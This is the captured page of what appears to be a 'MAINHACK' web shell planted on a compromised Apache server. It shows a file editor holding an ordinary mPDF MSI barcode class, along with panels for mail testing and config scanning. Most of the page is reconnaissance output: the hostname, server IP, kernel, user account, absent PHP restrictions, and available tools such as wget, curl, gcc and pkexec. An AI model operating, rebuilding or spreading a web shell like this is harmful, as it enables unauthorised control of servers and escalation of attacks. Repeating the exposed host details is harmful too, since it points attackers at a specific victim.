[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: Msi.php
<?php namespace Mpdf\Barcode; /** * MSI - Variation of Plessey code, with similar applications * Contains digits (0 to 9) and encodes the data only in the width of bars. */ class Msi extends \Mpdf\Barcode\AbstractBarcode implements \Mpdf\Barcode\BarcodeInterface { /** * @param int $code * @param bool $checksum */ public function __construct($code, $checksum = false, $quiet_zone_left = null, $quiet_zone_right = null) { $this->init($code, $checksum); $this->data['nom-X'] = 0.381; // Nominal value for X-dim (bar width) in mm (2 X min. spec.) $this->data['nom-H'] = 10; // Nominal value for Height of Full bar in mm (non-spec.) $this->data['lightmL'] = ($quiet_zone_left !== null ? $quiet_zone_left : 12); // LEFT light margin = x X-dim (spec.) $this->data['lightmR'] = ($quiet_zone_right !== null ? $quiet_zone_right : 12); // RIGHT light margin = x X-dim (spec.) $this->data['lightTB'] = 0; // TOP/BOTTOM light margin = x X-dim (non-spec.) } /** * @param int $code * @param bool $checksum */ private function init($code, $checksum) { $chr = [ '0' => '100100100100', '1' => '100100100110', '2' => '100100110100', '3' => '100100110110', '4' => '100110100100', '5' => '100110100110', '6' => '100110110100', '7' => '100110110110', '8' => '110100100100', '9' => '110100100110', 'A' => '110100110100', 'B' => '110100110110', 'C' => '110110100100', 'D' => '110110100110', 'E' => '110110110100', 'F' => '110110110110', ]; $checkdigit = ''; if ($checksum) { // add checksum $clen = strlen($code); $p = 2; $check = 0; for ($i = ($clen - 1); $i >= 0; --$i) { $check += (hexdec($code[$i]) * $p); ++$p; if ($p > 7) { $p = 2; } } $check %= 11; if ($check > 0) { $check = 11 - $check; } $code .= $check; $checkdigit = $check; } $seq = '110'; // left guard $clen = strlen($code); for ($i = 0; $i < $clen; ++$i) { $digit = $code[$i]; if (!isset($chr[$digit])) { // invalid character throw new \Mpdf\Barcode\BarcodeException(sprintf('Invalid character "%s" in MSI barcode value "%s"', $digit, $code)); } $seq .= $chr[$digit]; } $seq .= '1001'; // right guard $bararray = ['code' => $code, 'maxw' => 0, 'maxh' => 1, 'bcode' => []]; $bararray['checkdigit'] = $checkdigit; $this->data = $this->binseqToArray($seq, $bararray); } /** * @inheritdoc */ public function getType() { return 'MSI'; } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.66 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002